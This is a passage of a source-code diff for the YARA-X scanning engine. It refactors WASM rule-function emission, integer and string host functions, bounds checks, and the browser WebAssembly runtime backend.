emit_condition); + + // Unlike `func_body().instrs().len()`, `self.rules_func.size()` + // traverses all nested blocks (`if_else`, `block`, `loop`) and returns + // the total number of WASM instructions in `self.rules_func`. + // + // Because `self.rules_func` can already contain instructions from + // earlier rules (`size_before`), and `emit_rule_into_current_func` + // just appended the current rule's instructions to `self.rules_func`, + // `size_after` is the combined size of all rules in `self.rules_func`. + // Subtracting `size_before` gives `rule_size`, the number of + // instructions emitted for the current rule alone. + let size_after = self.rules_func.size(); + let rule_size = size_after - size_before; + + // Case 1: The rule by itself exceeds `MAX_FUNC_INSTRS`. Even if put + // into an empty function of its own, it would still be too large. + // Revert the instructions emitted for this rule while keeping the + // current `rules_func` open for subsequent rules. + if rule_size > Self::MAX_FUNC_INSTRS { + self.rules_func + .builder_mut() + .func_body() + .instrs_mut() + .truncate(num_instrs); + return Err(Error::FunctionTooLarge); + } - let rule_match = - self.function_id(wasm::export__rule_match.mangled_name); + // Case 2: The rule fits within `MAX_FUNC_INSTRS` on its own, but + // combined with the rules already present in `self.rules_func` the + // function exceeds `MAX_FUNC_INSTRS`. Revert the rule from the + // current function, finish the current function with the earlier + // rules, and re-emit this rule into a fresh `rules_func`. + if size_after > Self::MAX_FUNC_INSTRS { + self.rules_func + .builder_mut() + .func_body() + .instrs_mut() + .truncate(num_instrs); + self.finish_rule_func(); + self.emit_rule_into_current_func( + rule_id, + global, + &mut emit_condition, + ); + self.num_rules = 1; + self.rules_func_size = rule_size; + debug_assert_eq!(self.rules_func.size(), rule_size); + return Ok(()); + } - let mut instr = self.rules_func.func_body(); + // Case 3: The rule fits in the current function alongside any + // previously emitted rules. + self.num_rules += 1; + self.rules_func_size = size_after; - // Check if the result from the condition is zero (false). - instr.unop(UnaryOp::I32Eqz).if_else( - None, - |then_| { - // The condition is false. Call `rule_no_match` if the rule is - // a global one, or if `rules-profiling` is enabled. The purpose - // of calling `rule_no_match` for global rules is reverting any - // previous matches that occurred in the same namespace. For - // non-global rules calling `rule_no_match` is not necessary, - // unless `rules-profiling` is enabled, in that case the purpose - // is tracking the time spent evaluating the rule. - if self.global_rule { - then_ - // Call `rule_no_match`. - .i32_const(self.rule_id.into()) - .call(rule_no_match) - // Return 1. - // - // By returning 1 the function that contains the logic for this - // rule exits immediately, preventing that any other rule in the - // same namespace is executed. - // - // This guarantees that any global rule that returns false, forces - // any other rule in the same namespace to be false. - .i32_const(1) - .return_(); - } else { - #[cfg(feature = "rules-profiling")] - then_ - // Call `rule_no_match`. - .i32_const(self.rule_id.into()) - .call(rule_no_match); - } - }, - |else_| { - // The condition is true, call `rule_match`. - else_.i32_const(self.rule_id.into()).call(rule_match); - }, - ); + Ok(()) } /// Starts a new namespace. @@ -326,7 +361,6 @@ impl WasmModuleBuilder { self.num_namespaces = 0; } self.num_namespaces += 1; - self.num_rules = 0; } /// Builds the WASM module and consumes the builder. @@ -369,6 +403,71 @@ impl WasmModuleBuilder { }) } + /// Appends the WASM instructions for a single rule to the current + /// `self.rules_func` without checking function size limits or updating + /// rule counters. + /// + /// It first invokes `emit_condition` to emit the rule's condition (which + /// leaves an `i32` with value 0 or 1 on the stack), and then emits the + /// branching logic that records whether the rule matched (`rule_match`) + /// or did not match (`rule_no_match`). + fn emit_rule_into_current_func( + &mut self, + rule_id: RuleId, + global: bool, + mut emit_condition: impl FnMut(&mut InstrSeqBuilder), + ) { + let rule_no_match = + self.function_id(wasm::export__rule_no_match.mangled_name); + + let rule_match = + self.function_id(wasm::export__rule_match.mangled_name); + + let mut instr = self.rules_func.builder_mut().func_body(); + + emit_condition(&mut instr); + + // Check if the result from the condition is zero (false). + instr.unop(UnaryOp::I32Eqz).if_else( + None, + |then_| { + // The condition is false. Call `rule_no_match` if the rule is + // a global one, or if `rules-profiling` is enabled. The purpose + // of calling `rule_no_match` for global rules is reverting any + // previous matches that occurred in the same namespace. For + // non-global rules calling `rule_no_match` is not necessary, + // unless `rules-profiling` is enabled, in that case the purpose + // is tracking the time spent evaluating the rule. + if global { + then_ + // Call `rule_no_match`. + .i32_const(rule_id.into()) + .call(rule_no_match) + // Return 1. + // + // By returning 1 the function that contains the logic for this + // rule exits immediately, preventing that any other rule in the + // same namespace is executed. + // + // This guarantees that any global rule that returns false, forces + // any other rule in the same namespace to be false. + .i32_const(1) + .return_(); + } else { + #[cfg(feature = "rules-profiling")] + then_ + // Call `rule_no_match`. + .i32_const(rule_id.into()) + .call(rule_no_match); + } + }, + |else_| { + // The condition is true, call `rule_match`. + else_.i32_const(rule_id.into()).call(rule_match); + }, + ); + } + fn finish_namespace_block(&mut self) { if !self .namespace_func @@ -408,22 +507,24 @@ impl WasmModuleBuilder { &mut self.module.types, &[], &Self::RULES_FUNC_RET, - ), + ) + .local_func(Vec::new()), ); - if !rule_func.func_body().instrs().is_empty() { + self.num_rules = 0; + self.rules_func_size = 0; + + if !rule_func.builder_mut().func_body().instrs().is_empty() { // The last instruction in a rules function leaves a 0 in the // stack as its return value. This is reached only when all // global rules match. If any global rules doesn't match, the // function exits early with a return value of 1. - rule_func.func_body().i32_const(0); + rule_func.builder_mut().func_body().i32_const(0); let mut namespace_block = self.namespace_func.instr_seq(self.namespace_block); - namespace_block.call( - self.module.funcs.add_local(rule_func.local_func(Vec::new())), - ); + namespace_block.call(self.module.funcs.add_local(rule_func)); let namespace_block_id = namespace_block.id(); diff --git a/lib/src/wasm/integer.rs b/lib/src/wasm/integer.rs deleted file mode 100644 index 46ac2a08a..000000000 --- a/lib/src/wasm/integer.rs +++ /dev/null @@ -1,25 +0,0 @@ -/// A wrapper type around `i64` representing an integer guaranteed to be within -/// the range [MIN, MAX] (inclusive). -/// -/// This type conveys additional range information, which can be useful for -/// functions that return constrained integer values. For example, the `uint8` -/// function returns `RangedInteger<0, 255>`, indicating the result will always -/// fall within the `[0, 255]` range. -/// -/// This range metadata is used to set a [crate::types::IntegerConstraint] on -/// the function's return value. -#[derive(Default)] -pub(crate) struct RangedInteger(i64); - -impl RangedInteger { - #[inline] - pub fn new(value: i64) -> Self { - assert!(value >= MIN && value <= MAX); - Self(value) - } - - #[inline] - pub fn value(self) -> i64 { - self.0 - } -} diff --git a/lib/src/wasm/mod.rs b/lib/src/wasm/mod.rs index 3a71b2e49..78065e873 100644 --- a/lib/src/wasm/mod.rs +++ b/lib/src/wasm/mod.rs @@ -94,7 +94,6 @@ use crate::scanner::{RuntimeObjectHandle, ScanContext}; use crate::types::{ Array, Func, FuncSignature, Map, Struct, TypeValue, Value, }; -use crate::wasm::integer::RangedInteger; use crate::wasm::runtime::{ AsContext, AsContextMut, Caller, Config, Engine, FuncType, Linker, Trampoline, TrampolineResult, ValRaw, ValType, @@ -104,7 +103,6 @@ use crate::wasm::string::String as _; use crate::{ScanError, wasm}; pub(crate) mod builder; -pub(crate) mod integer; pub(crate) mod runtime; pub(crate) mod string; @@ -137,6 +135,7 @@ pub(crate) fn wasm_exports() -> impl Iterator { } /// Describes a function that is exported to WASM code. +#[allow(rustdoc::private_intra_doc_links)] pub struct WasmExport { /// Function's name. pub name: &'static str, @@ -429,35 +428,23 @@ impl WasmResult for () { } } -impl WasmResult for i32 { - fn values(self, _: &mut ScanContext) -> WasmResultArray { - smallvec![ValRaw::i32(self)] - } - - fn types() -> WasmResultArray { - smallvec![ValType::I32] - } -} +macro_rules! impl_wasm_result_for_int { + ($($ty:ty),*) => { + $( + impl WasmResult for $ty { + fn values(self, _: &mut ScanContext) -> WasmResultArray { + smallvec![ValRaw::i64(self as i64)] + } -impl WasmResult for i64 { - fn values(self, _: &mut ScanContext) -> WasmResultArray { - smallvec![ValRaw::i64(self)] - } - - fn types() -> WasmResultArray { - smallvec![ValType::I64] - } + fn types() -> WasmResultArray { + smallvec![ValType::I64] + } + } + )* + }; } -impl WasmResult for RangedInteger { - fn values(self, _: &mut ScanContext) -> WasmResultArray { - smallvec![ValRaw::i64(self.value())] - } - - fn types() -> WasmResultArray { - smallvec![ValType::I64] - } -} +impl_wasm_result_for_int!(i8, i16, i32, i64, u8, u16, u32, u64); impl WasmResult for f32 { fn values(self, _: &mut ScanContext) -> WasmResultArray { @@ -838,12 +825,34 @@ pub(crate) unsafe fn free_engine() { { #[allow(static_mut_refs)] unsafe { + // The linker holds a reference to the engine, it must be + // dropped first, as `unload_process_handlers` requires the + // engine to be the only remaining reference. + LINKER.take(); ENGINE.take().unwrap().unload_process_handlers() } } } -pub(crate) fn new_linker() -> Linker> { +/// Linker with the host functions exported to WASM code. +/// +/// Building the linker requires registering every function exported to +/// WASM code, which is expensive and produces the same result every time. +/// For this reason, the linker is built only once and shared by every +/// scanner. It needs to be mutable so that [`free_engine`] can destroy it. +static mut LINKER: OnceLock>> = + OnceLock::new(); + +/// Returns the global linker with the host functions exported to WASM code. +pub(crate) fn get_linker<'a>() -> &'a Linker> { + unsafe { + // See the comment in `get_engine`. + #[allow(static_mut_refs)] + LINKER.get_or_init(new_linker) + } +} + +fn new_linker() -> Linker> { let engine = get_engine(); let mut linker = Linker::>::new(engine); @@ -923,14 +932,15 @@ pub(crate) fn is_pat_match_at( pattern_id: PatternId, offset: i64, ) -> bool { - // Matches can't occur at negative offsets. - if offset < 0 { + // Matches can't occur at negative offsets or offsets larger than + // usize::MAX. + let Ok(offset) = usize::try_from(offset) else { return false; - } + }; if let Some(matches) = caller.data().tracker.pattern_matches.get(pattern_id) { - matches.search(offset.try_into().unwrap()).is_ok() + matches.search(offset).is_ok() } else { false } @@ -951,9 +961,7 @@ pub(crate) fn is_pat_match_in( if let Some(matches) = caller.data().tracker.pattern_matches.get(pattern_id) { - matches - .matches_in_range(lower_bound as isize..=upper_bound as isize) - .is_positive() + matches.matches_in_range(lower_bound..=upper_bound).is_positive() } else { false } @@ -977,9 +985,20 @@ pub(crate) fn pat_range_match( let range: RangeInclusive = pattern_id_start.into()..=pattern_id_end.into(); - let required = required.try_into().unwrap(); + // Negative values, which are possible only when the quantifier is computed + // at runtime (e.g: `int8(0) of ($a, $b)`), can't be satisfied. The same + // applies to unsigned quantifiers greater than i64::MAX, which are received + // here as negative numbers, and to values that don't fit in `usize`. + let Ok(required) = usize::try_from(required) else { + return false; + }; let ctx = caller.data(); + + if ctx.tracker.pattern_matches.is_empty() { + return required == 0; + } + let mut num_matches = 0; for pattern_id in range { @@ -1027,7 +1046,7 @@ pub(crate) fn pat_matches_in( if let Some(matches) = caller.data().tracker.pattern_matches.get(pattern_id) { - matches.matches_in_range(lower_bound as isize..=upper_bound as isize) + matches.matches_in_range(lower_bound..=upper_bound) } else { 0 } @@ -1185,12 +1204,12 @@ fn lookup_field( final_field = Some(field); - if let TypeValue::Struct(s) = &field.type_value { + if let TypeValue::Struct(s) = field.type_value() { structure = s } } - final_field.unwrap().type_value.clone() + final_field.unwrap().type_value().clone() } /// Lookup a field of string type and returns its value. @@ -1234,27 +1253,21 @@ pub(crate) fn lookup_object( } macro_rules! gen_lookup_fn { - ($name:ident, $return_type:ty, $type:path) => { + ($name:ident, $return_type:ty, $extract_fn:ident) => { #[wasm_export(sync = "before")] pub(crate) fn $name( caller: &mut Caller<'_, ScanContext>, structure: Option>, num_lookup_indexes: i32, ) -> Option<$return_type> { - if let $type { value, .. } = - lookup_field(caller, structure, num_lookup_indexes) - { - value.extract().cloned() - } else { - None - } + lookup_field(caller, structure, num_lookup_indexes).$extract_fn() } }; } -gen_lookup_fn!(lookup_integer, i64, TypeValue::Integer); -gen_lookup_fn!(lookup_float, f64, TypeValue::Float); -gen_lookup_fn!(lookup_bool, bool, TypeValue::Bool); +gen_lookup_fn!(lookup_integer, i64, try_as_integer); +gen_lookup_fn!(lookup_float, f64, try_as_float); +gen_lookup_fn!(lookup_bool, bool, try_as_bool); macro_rules! gen_array_indexing_fn { ($name:ident, $fn:ident, $return_type:ty) => { @@ -1264,7 +1277,8 @@ macro_rules! gen_array_indexing_fn { array: Rc, index: i64, ) -> Option<$return_type> { - array.$fn().get(index as usize).map(|value| *value) + let index = usize::try_from(index).ok()?; + array.$fn().get(index).copied() } }; } @@ -1280,9 +1294,10 @@ pub(crate) fn array_indexing_string( array: Rc, index: i64, ) -> Option> { + let index = usize::try_from(index).ok()?; array .as_string_array() - .get(index as usize) + .get(index) .cloned() } @@ -1293,9 +1308,10 @@ pub(crate) fn array_indexing_struct( array: Rc, index: i64, ) -> Option> { + let index = usize::try_from(index).ok()?; array .as_struct_array() - .get(index as usize) + .get(index) .cloned() } @@ -1615,6 +1631,32 @@ gen_str_op_fn!(str_istartswith, starts_with, true); gen_str_op_fn!(str_iendswith, ends_with, true); gen_str_op_fn!(str_iequals, equals, true); +macro_rules! gen_str_op_many_fn { + ($name:ident, $op:tt, $case_insensitive:literal) => { + #[wasm_export(sync = "none")] + pub(crate) fn $name( + caller: &mut Caller<'_, ScanContext>, + lhs: RuntimeString, + literal_set: i32, + ) -> bool { + lhs.$op( + crate::compiler::LiteralSetId::from(literal_set), + caller.data(), + $case_insensitive, + ) + } + }; +} + +gen_str_op_many_fn!(str_eq_many, equals_many, false); +gen_str_op_many_fn!(str_iequals_many, equals_many, true); +gen_str_op_many_fn!(str_contains_many, contains_many, false); +gen_str_op_many_fn!(str_icontains_many, contains_many, true); +gen_str_op_many_fn!(str_startswith_many, starts_with_many, false); +gen_str_op_many_fn!(str_istartswith_many, starts_with_many, true); +gen_str_op_many_fn!(str_endswith_many, ends_with_many, false); +gen_str_op_many_fn!(str_iendswith_many, ends_with_many, true); + #[wasm_export(sync = "none")] pub(crate) fn str_len( caller: &mut Caller<'_, ScanContext>, @@ -1647,38 +1689,44 @@ pub(crate) fn str_matches_regex_set( } macro_rules! gen_int_fn { - ($name:ident, $return_type:ty, $from_fn:ident, $min:expr, $max:expr) => { + ($name:ident, $return_type:ty, $from_fn:ident) => { #[wasm_export(public = true, sync = "none")] pub(crate) fn $name( caller: &mut Caller<'_, ScanContext>, offset: i64, - ) -> Option> { + ) -> Option<$return_type> { let offset = usize::try_from(offset).ok()?; caller .data() .scanned_data()? - .get(offset..offset + mem::size_of::<$return_type>()) + .get( + offset + ..offset.checked_add(mem::size_of::<$return_type>())?, + ) .map(|bytes| { - <$return_type>::$from_fn(bytes.try_into().unwrap()) as i64 + <$return_type>::$from_fn(bytes.try_into().unwrap()) }) - .map(|i| RangedInteger::<$min, $max>::new(i)) } }; } -gen_int_fn!(uint8, u8, from_le_bytes, 0, 255); -gen_int_fn!(uint16, u16, from_le_bytes, 0, 65_535); -gen_int_fn!(uint32, u32, from_le_bytes, 0, 4_294_967_295); -gen_int_fn!(uint8be, u8, from_be_bytes, 0, 255); -gen_int_fn!(uint16be, u16, from_be_bytes, 0, 65_535); -gen_int_fn!(uint32be, u32, from_be_bytes, 0, 4_294_967_295); - -gen_int_fn!(int8, i8, from_le_bytes, -128, 127); -gen_int_fn!(int16, i16, from_le_bytes, -32_768, 32_767); -gen_int_fn!(int32, i32, from_le_bytes, -2_147_483_648, 2_147_483_647); -gen_int_fn!(int8be, i8, from_be_bytes, -128, 127); -gen_int_fn!(int16be, i16, from_be_bytes, -32_768, 32_767); -gen_int_fn!(int32be, i32, from_be_bytes, -2_147_483_648, 2_147_483_647); +gen_int_fn!(uint8, u8, from_le_bytes); +gen_int_fn!(uint16, u16, from_le_bytes); +gen_int_fn!(uint32, u32, from_le_bytes); +gen_int_fn!(uint64, u64, from_le_bytes); +gen_int_fn!(uint8be, u8, from_be_bytes); +gen_int_fn!(uint16be, u16, from_be_bytes); +gen_int_fn!(uint32be, u32, from_be_bytes); +gen_int_fn!(uint64be, u64, from_be_bytes); + +gen_int_fn!(int8, i8, from_le_bytes); +gen_int_fn!(int16, i16, from_le_bytes); +gen_int_fn!(int32, i32, from_le_bytes); +gen_int_fn!(int64, i64, from_le_bytes); +gen_int_fn!(int8be, i8, from_be_bytes); +gen_int_fn!(int16be, i16, from_be_bytes); +gen_int_fn!(int32be, i32, from_be_bytes); +gen_int_fn!(int64be, i64, from_be_bytes); macro_rules! gen_float_fn { ($name:ident, $return_type:ty, $from_fn:ident) => { @@ -1691,7 +1739,10 @@ macro_rules! gen_float_fn { caller .data() .scanned_data()? - .get(offset..offset + mem::size_of::<$return_type>()) + .get( + offset + ..offset.checked_add(mem::size_of::<$return_type>())?, + ) .map(|bytes| { <$return_type>::$from_fn(bytes.try_into().unwrap()) as f64 }) diff --git a/lib/src/wasm/runtime/browser.rs b/lib/src/wasm/runtime/browser.rs index 658dd06e2..6fa350b9e 100644 --- a/lib/src/wasm/runtime/browser.rs +++ b/lib/src/wasm/runtime/browser.rs @@ -1,7 +1,8 @@ //! Browser runtime implemented on top of the host WebAssembly API. //! -//! This backend stores a Rust-side view of globals and memories while the -//! actual execution happens in the browser's WebAssembly runtime. +//! This backend stores a Rust-side view of the globals and memories exported +//! by the instantiated module, while the actual execution happens in the +//! browser's WebAssembly runtime. use anyhow::{Result, anyhow}; use js_sys::{ @@ -35,17 +36,13 @@ pub(crate) type Store = common::Store; pub(crate) type TypedFunc = common::TypedFunc; /// Shared Wasmtime-like runtime types used by the browser backend. -pub(crate) use super::common::{ - Extern, FuncType, Global, GlobalType, MemoryType, Mutability, Val, ValRaw, - ValType, -}; +pub(crate) use super::common::{FuncType, Global, Val, ValRaw, ValType}; pub(crate) type Trampoline = common::Trampoline; pub(crate) type TrampolineResult = common::TrampolineResult; struct GlobalInner { val_type: ValType, - mutability: Mutability, js_global: WebAssembly::Global, } @@ -107,35 +104,26 @@ impl RuntimeBackend for Backend { runtime.memories.clear(); } - fn create_global( + fn get_exported_global( runtime: &mut Self::RuntimeState, - ty: GlobalType, - value: Val, + instance: &Self::InstanceInner, + name: &str, ) -> Result { - let descriptor = Object::new(); - Reflect::set( - &descriptor, - &JsValue::from_str("value"), - &JsValue::from_str(val_type_name(ty.val_type)), - ) - .map_err(js_error)?; - Reflect::set( - &descriptor, - &JsValue::from_str("mutable"), - &JsValue::from_bool(matches!(ty.mutability, Mutability::Var)), - ) - .map_err(js_error)?; - - let js_global = - WebAssembly::Global::new(&descriptor, &val_to_js(value)) - .map_err(js_error)?; - - runtime.globals.push(GlobalInner { - val_type: ty.val_type, - mutability: ty.mutability, - js_global, - }); - + let js_global = get_export(instance, name)? + .dyn_into::() + .map_err(|_| anyhow!("export `{name}` is not a global"))?; + + // `WebAssembly.Global` doesn't expose its type, so it is inferred + // from the current value: `i64` globals hold a `BigInt`, and all the + // other globals exported by the modules generated by YARA-X are + // `i32`. + let val_type = if js_global.value().is_bigint() { + ValType::I64 + } else { + ValType::I32 + }; + + runtime.globals.push(GlobalInner { val_type, js_global }); Ok(runtime.globals.len() - 1) } @@ -150,37 +138,24 @@ impl RuntimeBackend for Backend { id: usize, value: Val, ) -> Result<()> { - let inner = &runtime.globals[id]; - if !matches!(inner.mutability, Mutability::Var) { - return Err(anyhow!("attempted to set immutable global")); - } - inner.js_global.set_value(&val_to_js(value)); + runtime.globals[id].js_global.set_value(&val_to_js(value)); Ok(()) } - fn create_memory( + fn get_exported_memory( runtime: &mut Self::RuntimeState, - ty: MemoryType, + instance: &Self::InstanceInner, + name: &str, ) -> Result { - let descriptor = Object::new(); - Reflect::set( - &descriptor, - &JsValue::from_str("initial"), - &JsValue::from_f64(ty.initial as f64), - ) - .map_err(js_error)?; - if let Some(max) = ty.maximum { - Reflect::set( - &descriptor, - &JsValue::from_str("maximum"), - &JsValue::from_f64(max as f64), - ) - .map_err(js_error)?; - } + let js_memory = get_export(instance, name)? + .dyn_into::() + .map_err(|_| anyhow!("export `{name}` is not a memory"))?; - let js_memory = - WebAssembly::Memory::new(&descriptor).map_err(js_error)?; - let cache = vec![0_u8; ty.initial as usize * 65_536]; + // The Rust-side cache mirrors the browser-owned memory, start with + // a copy of its current contents. + let js = Uint8Array::new(&js_memory.buffer()); + let mut cache = vec![0_u8; js.length() as usize]; + js.copy_to(cache.as_mut_slice()); runtime.memories.push(MemoryInner { js_memory, cache }); Ok(runtime.memories.len() - 1) @@ -207,6 +182,18 @@ impl RuntimeBackend for Backend { runtime.memories[id].cache.as_mut_ptr() } + fn grow_memory( + runtime: &mut Self::RuntimeState, + id: usize, + delta: u64, + ) -> Result { + let memory = &mut runtime.memories[id]; + let prev_pages = memory.js_memory.grow(delta as u32); + let js = Uint8Array::new(&memory.js_memory.buffer()); + memory.cache.resize(js.length() as usize, 0); + Ok(prev_pages as u64) + } + fn module_from_binary( _engine: &Engine, bytes: &[u8], @@ -223,27 +210,11 @@ impl RuntimeBackend for Backend { linker: &Linker, module: &Module, ) -> Result { + // The only imports in the modules generated by YARA-X are host + // functions, the main memory and the global variables are defined + // by the module itself. let imports = Object::new(); - for defined in &linker.externs { - let ns = ensure_namespace(&imports, &defined.module)?; - let value: JsValue = match defined.value { - Extern::Global(global) => { - store.runtime.globals[global.id].js_global.clone().into() - } - Extern::Memory(memory) => { - store.runtime.memories[memory.id].js_memory.clone().into() - } - }; - - Reflect::set( - &ns, - &JsValue::from_str(defined.name.as_str()), - &value, - ) - .map_err(js_error)?; - } - let store_ptr = store as *mut Store; for import in &linker.functions { @@ -331,10 +302,7 @@ impl RuntimeBackend for Backend { instance: &Self::InstanceInner, name: &str, ) -> Result { - let exports = instance.exports(); - let value = Reflect::get(&exports, &JsValue::from_str(name)) - .map_err(js_error)?; - value + get_export(instance, name)? .dyn_into::() .map_err(|_| anyhow!("export `{name}` is not a function")) } @@ -359,6 +327,20 @@ impl RuntimeBackend for Backend { } } +/// Returns the item exported by `instance` under `name`. +fn get_export( + instance: &WebAssembly::Instance, + name: &str, +) -> Result { + let exports = instance.exports(); + let value = + Reflect::get(&exports, &JsValue::from_str(name)).map_err(js_error)?; + if value.is_undefined() { + return Err(anyhow!("export `{name}` not found")); + } + Ok(value) +} + fn ensure_namespace(root: &Object, module_name: &str) -> Result { let key = JsValue::from_str(module_name); @@ -428,15 +410,6 @@ fn js_to_i64(value: &JsValue) -> Result { .map_err(|err| anyhow!("invalid i64 value `{text}`: {err}")) } -fn val_type_name(ty: ValType) -> &'static str { - match ty { - ValType::I32 => "i32", - ValType::I64 => "i64", - ValType::F32 => "f32", - ValType::F64 => "f64", - } -} - fn js_error(err: JsValue) -> anyhow::Error { if let Some(message) = err.as_string() { anyhow!("{message}") diff --git a/lib/src/wasm/runtime/common.rs b/lib/src/wasm/runtime/common.rs index a6b935545..b5da98973 100644 --- a/lib/src/wasm/runtime/common.rs +++ b/lib/src/wasm/runtime/common.rs @@ -61,11 +61,12 @@ pub(crate) trait RuntimeBackend: /// Clears any runtime state that should not survive store reuse. fn reset_for_store_reuse(runtime: &mut Self::RuntimeState); - /// Creates a global and returns its backend-specific identifier. - fn create_global( + /// Registers the global exported by `instance` under `name` and returns + /// its backend-specific identifier. + fn get_exported_global( runtime: &mut Self::RuntimeState, - ty: GlobalType, - value: Val, + instance: &Self::InstanceInner, + name: &str, ) -> Result; /// Returns the current value for the global identified by `id`. @@ -78,10 +79,12 @@ pub(crate) trait RuntimeBackend: value: Val, ) -> Result<()>; - /// Creates a memory and returns its backend-specific identifier. - fn create_memory( + /// Registers the memory exported by `instance` under `name` and returns + /// its backend-specific identifier. + fn get_exported_memory( runtime: &mut Self::RuntimeState, - ty: MemoryType, + instance: &Self::InstanceInner, + name: &str, ) -> Result; /// Returns the current memory contents for the memory identified by `id`. @@ -98,13 +101,20 @@ pub(crate) trait RuntimeBackend: fn memory_data_ptr(runtime: &mut Self::RuntimeState, id: usize) -> *mut u8; + /// Grows the memory identified by `id` by `delta` pages. + fn grow_memory( + runtime: &mut Self::RuntimeState, + id: usize, + delta: u64, + ) -> Result; + /// Creates a module from raw WASM bytes. fn module_from_binary( engine: &Engine, bytes: &[u8], ) -> Result; - /// Instantiates `module` with the functions and externs in `linker`. + /// Instantiates `module` with the functions in `linker`. fn instantiate( store: &mut Store, linker: &Linker, @@ -494,8 +504,8 @@ pub(crate) struct RegisteredFunc { pub(crate) trampoline: HostFunc, } -/// A backend-agnostic reference to a WebAssembly global variable defined within -/// a [`Store`]. +/// A backend-agnostic reference to a WebAssembly global variable exported by +/// an [`Instance`] and registered in its [`Store`]. /// /// In the browser backend, globals are backed by a JS `WebAssembly.Global` /// object, while in the native backend they map directly to `wasmtime::Global`. @@ -505,8 +515,8 @@ pub(crate) struct Global { pub(crate) id: usize, } -/// A backend-agnostic reference to a WebAssembly linear memory defined within -/// a [`Store`]. +/// A backend-agnostic reference to a WebAssembly linear memory exported by +/// an [`Instance`] and registered in its [`Store`]. /// /// Wasm execution relies on a primary block of linear memory for passing large /// payloads (like the scanned file/haystack) and reading back results (like @@ -519,49 +529,19 @@ pub(crate) struct Memory { pub(crate) id: usize, } -/// Extern item that can be defined in a [`Linker`]. -pub(crate) enum Extern { - /// A global variable. - Global(Global), - /// A linear memory. - Memory(Memory), -} - -impl From for Extern { - fn from(value: Global) -> Self { - Self::Global(value) - } -} - -impl From for Extern { - fn from(value: Memory) -> Self { - Self::Memory(value) - } -} - -/// Extern registered in a [`Linker`]. -pub(crate) struct DefinedExtern { - /// Module namespace for the import. - pub(crate) module: String, - /// Name of the imported extern. - pub(crate) name: String, - /// Extern value to be defined. - pub(crate) value: Extern, -} - -/// A helper structure used to link WebAssembly modules to host functions, -/// globals, and memories. +/// A helper structure used to link WebAssembly modules to host functions. /// -/// The `Linker` serves as a registry for host imports defined in Rust (e.g., -/// regex engines, utility functions, and global attributes). When a compiled -/// YARA-X rule module is instantiated, the `Linker` automatically links -/// these registered imports into the Wasm instance, resolving target specific -/// details behind a uniform interface. +/// The `Linker` serves as a registry for host functions defined in Rust (e.g., +/// regex engines and utility functions). When a compiled YARA-X rule module +/// is instantiated, the `Linker` automatically links these registered +/// functions into the Wasm instance, resolving target specific details behind +/// a uniform interface. +/// +/// Host functions are the only imports in the modules generated by YARA-X, +/// the main memory and the global variables are defined by the module itself. pub(crate) struct Linker { /// Functions registered in the linker. pub(crate) functions: Vec>, - /// Externs registered in the linker. - pub(crate) externs: Vec, _phantom: PhantomData, } @@ -580,11 +560,7 @@ impl Linker { /// The `engine` argument is unused by the custom runtimes and is kept only /// for compatibility with Wasmtime's API. pub fn new(_engine: &Engine) -> Self { - Self { - functions: Vec::new(), - externs: Vec::new(), - _phantom: PhantomData, - } + Self { functions: Vec::new(), _phantom: PhantomData } } /// Registers a function import without validating its ABI. @@ -615,25 +591,6 @@ impl Linker { TrampolineResult::Ok(()) } - /// Defines an extern import. - /// - /// The `store` argument is unused by the custom runtimes and is kept only - /// for compatibility with Wasmtime's API. - pub fn define( - &mut self, - _store: StoreContext<'_, T, B>, - module: &str, - name: &str, - value: impl Into, - ) -> Result<&mut Self> { - self.externs.push(DefinedExtern { - module: module.to_owned(), - name: name.to_owned(), - value: value.into(), - }); - Ok(self) - } - /// Instantiates `module` with the imports currently registered. pub fn instantiate( &self, @@ -649,30 +606,6 @@ impl Linker { } } -/// Whether a global can be mutated after creation. -#[derive(Clone, Copy)] -pub(crate) enum Mutability { - /// Immutable global. - Const, - /// Mutable global. - Var, -} - -/// Type information for a global. -pub(crate) struct GlobalType { - /// Value type stored in the global. - pub(crate) val_type: ValType, - /// Whether the global can be mutated. - pub(crate) mutability: Mutability, -} - -impl GlobalType { - /// Creates a new global type. - pub fn new(val_type: ValType, mutability: Mutability) -> Self { - Self { val_type, mutability } - } -} - /// Runtime value stored in globals and returned from typed functions. #[derive(Clone, Copy)] pub(crate) enum Val { @@ -697,15 +630,6 @@ impl Val { } impl Global { - /// Creates a new global in `store`. - pub fn new( - store: StoreContextMut<'_, T, B>, - ty: GlobalType, - value: Val, - ) -> Result { - Ok(Self { id: B::create_global(&mut store.runtime, ty, value)? }) - } - /// Returns the current value of the global. pub fn get( &self, @@ -724,30 +648,7 @@ impl Global { } } -/// Type information for a memory. -pub(crate) struct MemoryType { - /// Initial size in WASM pages. - pub(crate) initial: u32, - /// Maximum size in WASM pages, if any. - pub(crate) maximum: Option, -} - -impl MemoryType { - /// Creates a new memory type. - pub fn new(initial: u32, maximum: Option) -> Self { - Self { initial, maximum } - } -} - impl Memory { - /// Creates a new memory in `store`. - pub fn new( - store: StoreContextMut<'_, T, B>, - ty: MemoryType, - ) -> Result { - Ok(Self { id: B::create_memory(&mut store.runtime, ty)? }) - } - /// Returns the current contents of the memory. pub fn data<'a, T, B: RuntimeBackend>( &self, @@ -771,9 +672,19 @@ impl Memory { ) -> *mut u8 { B::memory_data_ptr(&mut store.runtime, self.id) } + + /// Grows the memory by `delta` pages. + pub fn grow( + &self, + store: StoreContextMut<'_, T, B>, + delta: u64, + ) -> Result { + B::grow_memory(&mut store.runtime, self.id, delta) + } } /// Compiled WASM module. +#[derive(Clone)] pub(crate) struct Module { /// Backend-specific module representation. pub(crate) inner: B::ModuleInner, @@ -827,6 +738,36 @@ impl Instance { _backend: PhantomData, }) } + + /// Returns the memory exported by this instance under `name`, if any. + /// + /// The memory is registered in `store`, which keeps the backend-specific + /// state required for accessing it. + pub fn get_memory( + &self, + mut store: impl AsContextMut, + name: &str, + ) -> Option { + let store = store.as_context_mut(); + B::get_exported_memory(&mut store.runtime, &self.inner, name) + .ok() + .map(|id| Memory { id }) + } + + /// Returns the global exported by this instance under `name`, if any. + /// + /// The global is registered in `store`, which keeps the backend-specific + /// state required for accessing it. + pub fn get_global( + &self, + mut store: impl AsContextMut, + name: &str, + ) -> Option { + let store = store.as_context_mut(); + B::get_exported_global(&mut store.runtime, &self.inner, name) + .ok() + .map(|id| Global { id }) + } } /// A strongly typed handle to a WebAssembly function exported by an diff --git a/lib/src/wasm/runtime/mod.rs b/lib/src/wasm/runtime/mod.rs index a93f64e62..2db089ba2 100644 --- a/lib/src/wasm/runtime/mod.rs +++ b/lib/src/wasm/runtime/mod.rs @@ -31,8 +31,8 @@ //! The abstraction exposes common Wasm execution types, including: 